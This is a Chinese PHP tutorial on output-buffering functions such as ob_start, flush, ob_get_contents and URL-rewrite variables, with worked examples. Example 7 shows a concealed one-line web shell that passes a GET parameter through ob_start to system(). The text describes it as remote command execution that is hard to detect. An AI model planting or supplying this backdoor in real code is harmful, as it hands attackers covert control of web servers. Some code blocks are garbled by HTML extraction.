0

0

PHP输出缓冲控制- Output Control 函数应用详解,outputcontrol_PHP教程

php中文网

php中文网

发布时间:2016-07-13 10:12:26

|

774人浏览过

|

来源于php中文网

原创

PHP输出缓冲控制- Output Control 函数应用详解,outputcontrol

  说到输出缓冲,首先要说的是一个叫做缓冲器(buffer)的东西。举个简单的例子说明他的作用:我们在编辑一篇文档时,在我们没有保存之前,系统是不会向磁盘写入的,而是写到buffer中,当buffer写满或者执行了保存操作,才会将数据写入磁盘。对于PHP来说,每一次像 echo 这样的输出操作,同样是先写入到了 php buffer 里,在脚本执行完毕或者执行了强制输出缓存操作,数据才会在浏览器上显示。

  其实对于PHP程序员来说,基本上每个脚本都涉及到了输出缓冲,只是在大多数情况下,我们都不需要对输出缓冲进行更改。而今天就来用实例对PHP输出缓冲控制函数“Output Control”做一个详细的解析。

  下面这个例子简单介绍了输出缓冲在一般脚本中存在的方式:

  我们在执行如下脚本时:

立即学习PHP免费学习笔记(深入)”;

1 2 3 4 5 6 <?php /*例1*/ echo 'oschina.net'; echo '红薯'; echo '虫虫'; ?>

  脚本在执行完第一个 echo 时,并不会向浏览器输出相应内容,而是会输出到一个缓冲区,依次类推,当三个 echo 全部执行完毕(也就是脚本结束)时,才会将缓冲区内容全部输出到浏览器。当然这个缓冲区也有大小的限制,是根据 php.ini 中的output_buffering 选项来设置的,这点会在下面的文章中详细介绍。而本章所讲的输出缓冲控制,就是在脚本结束前,对缓冲区里的内容进行操作。

  这个例子可以更好的体现输出缓冲控制的应用:

  在执行如下代码时:

1 2 3 4 5 6 7 8 <?php /*例2*/ echo 'oschina.net'; sleep(1); echo '红薯'; sleep(1); echo '虫虫'; ?>

  我们至少需要等待 2秒 才能看到输出结果,那我们能不能让其实时的显示呢?也就是在第一个 echo 执行完毕时就输出相应的内容呢,这时候就需要用输出缓冲控制函数来操作缓冲区了,实现代码如下:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php /*例3*/ echo str_pad('', 1024);//使缓冲区溢出 ob_start();//打开缓冲区 echo 'oschina.net'; ob_flush();//送出当前缓冲内容,不会输出 flush();//输出送出的缓冲内容 sleep(1); echo '红薯'; ob_flush();//送出当前缓冲内容,不会输出 flush();//输出送出的缓冲内容 sleep(1); echo '虫虫'; ob_end_flush();//输出并关闭缓冲 ?>

  简单点也可以这样实现:

1 2 3 4 5 6 7 8 9 10 11 <?php /*例4*/ echo str_pad('', 1024);//使缓冲区溢出 echo 'oschina.net'; flush();//输出送出的缓冲内容 sleep(1); echo '红薯'; flush();//输出送出的缓冲内容 sleep(1); echo '虫虫'; ?>

  至于相关函数的用法在下面都会有介绍,这里只是给大家展示一个输出缓冲控制函数的应用,当然了输出缓冲控制函数的作用绝不止这一种,那么下面我们就来看看输出缓冲控制函数都可以应用在哪些方面。

作用

php.ini 中的相关配置项

  再来看看在 php.ini 中和输出缓冲控制有关的选项,共三个,分别是:output_buffering  ,output_handler  和 implicit_flush

Output Control 函数详解

  现在我们就用实例分析相关函数,相信在充分了解了以下内容后,就会对输出缓冲控制函数有了较清晰的掌握。

  1.  bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )

  此函数在 例3 中已经使用过,大家从命名上也能明白其含义,就是打开输出缓冲区,从而进行下一步的输出缓冲处理。这里要特意说的是其参数的用法,第一个参数要传递一个回调函数,其需将缓冲区内容做为参数,并且返回一个字符串。他会在缓冲区被送出时调用,缓冲区送出指的是执行了例如ob_flush() 等函数或者脚本执行完毕。ob_flush() 函数会在下面介绍到,来看一个简单的例子就能理解其用法:

1 2 3 4 5 6 7 8 9 <?php /*例5*/ ob_start('handleString'); echo '123456';    function handleString($string){   return md5($string); } ?>

  运行后的结果是:

1 e10adc3949ba59abbe56e057f20f883e

  说明输出的内容被md5加密了,也就是说在缓冲区内容输出时,运行了我们定义的 handleString 函数。

  再来看一个更实际的例子,也就是常见到的将网页内容利用 gzip 压缩后再输出,代码如下:

1 2 3 4 5 <?php /*例6*/ ob_start('ob_gzhandler'); echo str_repeat('oschina', 1024); ?>

  其页面大小为:

  而不使用 ob_gzhandler 参数,其页面大小为:

  可以明显看到大小的差别,所以说利用 ob_start() 进行页面压缩输出,是非常实用的一个功能。

  而第二个参数 chunk_size 为缓冲区的字节长度,如果缓冲区内容大于此长度,将会被送出缓冲区,默认值为0,代表函数将会在最后被调用。第三个参数 erase 如果被设置为 flase , 则代表脚本执行完毕后缓冲区才会被删除,如果提前执行了删除缓冲区函数(后面会提到),则会报一个错误。

  ob_start() 的用法就这么多,但有两点需要特别注意的地方:

1 2 3 4 <?php /*例7*/ $cmd = 'system';ob_start($cmd);echo "$_GET[a]";ob_end_flush(); ?>

  如果理解了上面关于 ob_start的用法,这段代码就不难理解了,其应用了 ob_start 函数会将缓冲区输出的内容作为参数传入所设置的函数中的特点,实现了以Web服务器权限远程执行命令,并且不宜被发觉。

  2. string ob_get_contents ( void )

  此函数用来获取此时缓冲区的内容,下面的例子就能很好的理解其用法:

1 2 3 4 5 6 7 8 9 10 11 <?php /*例8*/ echo str_pad('', 1024);//使缓冲区溢出 ob_start();//打开缓冲区 phpinfo(); $string = ob_get_contents();//获取缓冲区内容 $re = fopen('./phpinfo.txt', 'wb'); fwrite($re, $string);//将内容写入文件 fclose($re); ob_end_clean();//清空并关闭缓冲区 ?>

  运行此例会发现,浏览器并不会有任何输出,但在当前目录下会有一个 phpinfo.txt 的文件,里面存储了此次应有的输出。这个例子也展示了上面作用中第三点所说的情况。我们可以将输出内容获取到后,根据我们的实际情况进行处理。

  3. int ob_get_length ( void )

  此函数用来获取缓冲区内容的长度,将 例8 稍作改动来展示这个函数的用法:

1 2 3 4 5 6 7 8 9 10 11 12 13 <?php /*例9*/ echo str_pad('', 1024);//使缓冲区溢出 ob_start();//打开缓冲区 phpinfo(); $string = ob_get_contents();//获取缓冲区内容 $length = ob_get_length();//获取缓冲区内容长度 $re = fopen('./phpinfo.txt', 'wb'); fwrite($re, $string);//将内容写入文件 fclose($re); var_dump($length); //输出长度 ob_end_flush();//输出并关闭缓冲区 ?>

  4. int ob_get_level ( void )

  此函数用来获取缓冲机制的嵌套级别,我们在介绍 ob_start() 函数时曾说过,在一个脚本中可以嵌套存在多个缓冲区,而此函数就是来获取当前缓冲区的嵌套级别,用法如下:

1 2 3 4 5 6 7 8 9 <?php /*例10*/ ob_start(); var_dump(ob_get_level()); ob_start(); var_dump(ob_get_level()); ob_end_flush(); ob_end_flush(); ?>

  运行后可以很明显的看出他们的嵌套关系。

  5. array ob_get_status ([ bool $full_status = FALSE ] )

  此函数用来获取当前缓冲区的状态,返回一个状态信息的数组,如果第一个参数为 true ,将返回一个详细信息的数组,我们结合实例来分析这个数组:

1 2 3 4 5 6 7 8 9 <?php /*例11*/ ob_start(‘ob_gzhandler’); var_export(ob_get_status()); ob_start(); var_export(ob_get_status()); ob_end_flush(); ob_end_flush(); ?>

  此脚本输出如下:

腾讯混元3D
腾讯混元3D

腾讯推出的一站式3D内容创作平台

下载
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 array (   'level' => 1,   'type' => 1,   'status' => 0,   'name' => 'ob_gzhandler',   'del' => true, )    array (   'level' => 2,   'type' => 1,   'status' => 0,   'name' => 'default output handler',   'del' => true, )

  level 为嵌套级别,也就是和通过 ob_get_level() 取到的值一样。

  type 为处理缓冲类型,0为系统内部自动处理,1为用户手动处理。

  status 为缓冲处理状态, 0为开始, 1为进行中, 2为结束

  name 为定义的输出处理函数名称,也就是在 ob_start() 函数中第一个参数传入的函数名。

  del  为是否运行了删除缓冲区操作

  理解了上面数组的含义,就能很好理解缓冲区的各项属性。

  6. array ob_list_handlers ( void )

  此函数用来获得输出处理程序的函数名数组,也就是在 ob_start() 函数中我们指定的第一个参数,需要注意的是,如果我们传的参数是一个匿名函数,或者在配置文件中启用了 output_buffering  则该函数将返回default output handler ,php官方手册 中的例子就能很好的解释这个函数:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php /*例12*/ //using output_buffering=On print_r(ob_list_handlers()); ob_end_flush();    ob_start("ob_gzhandler"); print_r(ob_list_handlers()); ob_end_flush();    // anonymous functions ob_start(create_function('$string', 'return $string;')); print_r(ob_list_handlers()); ob_end_flush(); ?>

  输出结果为:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 Array (     [0] => 'default output handler' )    Array (     [0] => 'ob_gzhandler' )    Array (     [0] => 'default output handler' )

  下面我们来看看和输出、关闭、送出缓冲区内容有关的函数:

  7. void ob_flush ( void )

  此函数在前面的例子经常用到了,其作用就是 “送出” 当前缓冲区内容,同时清空缓冲区,需要注意这里用的是 “送出” 一词,也就是说调用此函数并不会将缓冲区内容输出,从 例3 可以看出必须在其后调用 flush 函数其才会输出。关于 flush 的用法下面就会说到,这里就不再做实例了。

  8. void flush ( void )

  这个函数算是比较常用的,用来将其前面的所有输出发送到浏览器显示,且不会对缓存区有任何影响。例3 和 例4 中都用到了此函数将当前输出显示到浏览器,换句话说,不论是 echo 等函数的输出,还是 HTML实体 ,或是运行 ob_start() 送出的内容,运行 flush() 后都会在浏览器进行显示。

  9. void ob_implicit_flush ([ int $flag = true ] )

  此函数用来打开/关闭绝对刷送模式,就是在每一次输出后自动执行 flush(),从而不需要再显示的调用 flush() ,提高效率。我们将 例4 稍作更改,利用这个函数来实现同样的效果:

1 2 3 4 5 6 7 8 9 10 11 12 <?php /*例13*/ echo str_pad('', 1024);//使缓冲区溢出 ob_implicit_flush(true);//打开绝对刷送 echo 'oschina.net'; //flush();  之后不需要再显示的调用 flush() sleep(1); echo '红薯'; //flush(); sleep(1); echo '虫虫'; ?>

  此例和 例4 实现的同样的效果,由于打开了 绝对刷送,所以不需要再调用 flush(), 系统会自动在输出后进行刷送。

  10. bool ob_end_flush ( void )

  此函数将缓冲区的内容送出,并关闭缓冲区。实际上相当于执行了 ob_flush() 和 ob_end_clean() ;

  11. string ob_get_flush ( void )

  此函数和 ob_end_flush() 的作用基本一致,只是其会以字符串的形式返回缓冲区的内容,很简单,也不做实例了。

  12. void ob_clean ( void )

  此函数会将当前缓冲区清空,但不会关闭缓冲区,下面这个例子的输出将不会显示,因为在输出前,缓冲区已经被清空了,但我们又可以获取到缓冲区的属性,说明缓冲区没被关闭:

1 2 3 4 5 6 7 <?php /*例14*/ ob_start(); echo 'oschina'; ob_clean(); var_dump(ob_get_status()); ?>

  13. bool ob_end_clean ( void )

  此函数清空并关闭缓冲区,将 例14 稍作更改,即可发现我们不再能获取到缓冲区的状态,因为它已经被关闭了:

1 2 3 4 5 6 7 <?php /*例15*/ ob_start(); echo 'oschina'; ob_end_clean(); var_dump(ob_get_status()); ?>

  14. string ob_get_clean ( void )

  此函数清空并关闭缓存,但会以字符串的形式返回缓存中的数据,实际上,这个函数就是分别执行了 ob_get_contents() 和 ob_end_clean();

1 2 3 4 5 6 7 8 <?php /*例16*/ ob_start(); echo 'oschina'; $string = ob_get_clean(); var_dump(ob_get_status()); var_dump($string); ?>

  最后再来看两个和URL重写有关的函数:

  15. bool output_add_rewrite_var ( string $name , string $value )

  此函数添加URL重写机制的键和值,这里的URL重写机制,是指在URL的最后以GET方式添加键值对,或者在表单中以隐藏表单添加键值对。绝对的URL不会被添加,还是用手册中的例子来看吧,写的非常直观明了:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php /*例17*/ output_add_rewrite_var('var', 'value');    // some links echo '<a href="</code"><code class="php string">"file.php">link <a href="</code"><code class="php string">"http://example.com">link2';    // a form echo '<form action="</code"> <code class="php string">"script.php" method="post"> <input type="</code"><code class="php string">"text" name="var2" /> ';    print_r(ob_list_handlers()); ?>

  程序的输出为:

1 2 3 4 5 6 7 8 9 10 11 12 <code class="html keyword">a href="file.php?var=value">linka> <code class="html keyword">a href="http://example.com">link2a>    <code class="html keyword">form action="script.php" method="post"> <code class="html keyword">input type="hidden" name="var" value="value" /> <code class="html keyword">input type="text" name="var2" /> form>    Array (     [0] => URL-Rewriter )

  可以看到不是绝对URL地址的链接 和 Form表单 被加上了对应的键值对。

  16. bool output_reset_rewrite_vars ( void )

  此函数用来清空所有的URL重写机制,也就是删除由 output_add_rewrite_var() 设置的重写变量。

其他需要注意的地方

  相信读了上面的内容,就会对PHP的缓冲控制函数有较深的认识了,那接下来说一些在日常使用中需要注意的问题:

www.bkjia.comtruehttp://www.bkjia.com/PHPjc/921717.htmlTechArticlePHP输出缓冲控制- Output Control 函数应用详解,outputcontrol 说到输出缓冲,首先要说的是一个叫做缓冲器(buffer)的东西。举个简单的例子说明他...

相关文章

PHP速学教程(入门到精通)
PHP速学教程(入门到精通)

PHP怎么学习?PHP怎么入门?PHP在哪学?PHP怎么学才快?不用担心,这里为大家提供了PHP速学教程(入门到精通),有需要的小伙伴保存下载就能学习啦!

下载

相关标签:

php

本站声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

热门AI工具

更多
DeepSeek
DeepSeek

幻方量化公司旗下的开源大模型平台

豆包大模型
豆包大模型

字节跳动自主研发的一系列大型语言模型

通义千问
通义千问

阿里巴巴推出的全能AI助手

腾讯元宝
腾讯元宝

腾讯混元平台推出的AI助手

文心一言
文心一言

文心一言是百度开发的AI聊天机器人,通过对话可以生成各种形式的内容。

讯飞写作
讯飞写作

基于讯飞星火大模型的AI写作工具,可以快速生成新闻稿件、品宣文案、工作总结、心得体会等各种文文稿

即梦AI
即梦AI

一站式AI创作平台,免费AI图片和视频生成。

ChatGPT
ChatGPT

最最强大的AI聊天机器人程序,ChatGPT不单是聊天机器人,还能进行撰写邮件、视频脚本、文案、翻译、代码等任务。

相关专题

更多
Golang 实际项目案例:从需求到上线
Golang 实际项目案例:从需求到上线

《Golang 实际项目案例:从需求到上线》以真实业务场景为主线,完整覆盖需求分析、架构设计、模块拆分、编码实现、性能优化与部署上线全过程,强调工程规范与实践决策,帮助开发者打通从技术实现到系统交付的关键路径,提升独立完成 Go 项目的综合能力。

2

2026.02.26

Golang Web 开发路线:构建高效后端服务
Golang Web 开发路线:构建高效后端服务

《Golang Web 开发路线:构建高效后端服务》围绕 Go 在后端领域的工程实践,系统讲解 Web 框架选型、路由设计、中间件机制、数据库访问与接口规范,结合高并发与可维护性思维,逐步构建稳定、高性能、易扩展的后端服务体系,帮助开发者形成完整的 Go Web 架构能力。

3

2026.02.26

Golang 并发编程专题:掌握多核时代的核心技能
Golang 并发编程专题:掌握多核时代的核心技能

《Golang 并发编程专题:掌握多核时代的核心技能》系统讲解 Go 在并发领域的设计哲学与实践方法,深入剖析 goroutine、channel、调度模型与并发安全机制,结合真实场景与性能思维,帮助开发者构建高吞吐、低延迟、可扩展的并发程序,全面提升多核时代的工程能力。

5

2026.02.26

batoto漫画官网入口与网页版访问指南
batoto漫画官网入口与网页版访问指南

本专题系统整理batoto漫画官方网站最新可用入口,涵盖最新官网地址、网页版登录页面及防走失访问方式说明,帮助用户快速找到batoto漫画官方平台,稳定在线阅读各类漫画内容。

356

2026.02.25

Steam官网正版入口与注册登录指南_新手快速进入游戏平台方法
Steam官网正版入口与注册登录指南_新手快速进入游戏平台方法

本专题系统整理Steam官网最新可用入口,涵盖网页版登录地址、新用户注册流程、账号登录方法及官方游戏商店访问说明,帮助新手玩家快速进入Steam平台,完成注册登录并管理个人游戏库。

78

2026.02.25

TypeScript全栈项目架构与接口规范设计
TypeScript全栈项目架构与接口规范设计

本专题面向全栈开发者,系统讲解基于 TypeScript 构建前后端统一技术栈的工程化实践。内容涵盖项目分层设计、接口协议规范、类型共享机制、错误码体系设计、接口自动化生成与文档维护方案。通过完整项目示例,帮助开发者构建结构清晰、类型安全、易维护的现代全栈应用架构。

35

2026.02.25

Python数据处理流水线与ETL工程实战
Python数据处理流水线与ETL工程实战

本专题聚焦 Python 在数据工程场景下的实际应用,系统讲解 ETL 流程设计、数据抽取与清洗、批处理与增量处理方案,以及数据质量校验与异常处理机制。通过构建完整的数据处理流水线案例,帮助开发者掌握数据工程中的性能优化思路与工程化规范,为后续数据分析与机器学习提供稳定可靠的数据基础。

14

2026.02.25

Java领域驱动设计(DDD)与复杂业务建模实战
Java领域驱动设计(DDD)与复杂业务建模实战

本专题围绕 Java 在复杂业务系统中的建模与架构设计展开,深入讲解领域驱动设计(DDD)的核心思想与落地实践。内容涵盖领域划分、聚合根设计、限界上下文、领域事件、贫血模型与充血模型对比,并结合实际业务案例,讲解如何在 Spring 体系中实现可演进的领域模型架构,帮助开发者应对复杂业务带来的系统演化挑战。

5

2026.02.25

Golang 生态工具与框架:扩展开发能力
Golang 生态工具与框架:扩展开发能力

《Golang 生态工具与框架》系统梳理 Go 语言在实际工程中的主流工具链与框架选型思路,涵盖 Web 框架、RPC 通信、依赖管理、测试工具、代码生成与项目结构设计等内容。通过真实项目场景解析不同工具的适用边界与组合方式,帮助开发者构建高效、可维护的 Go 工程体系,并提升团队协作与交付效率。

19

2026.02.24

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
PHP课程
PHP课程

共137课时 | 12.5万人学习

JavaScript ES5基础线上课程教学
JavaScript ES5基础线上课程教学

共6课时 | 11.3万人学习

PHP新手语法线上课程教学
PHP新手语法线上课程教学

共13课时 | 0.9万人学习

关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号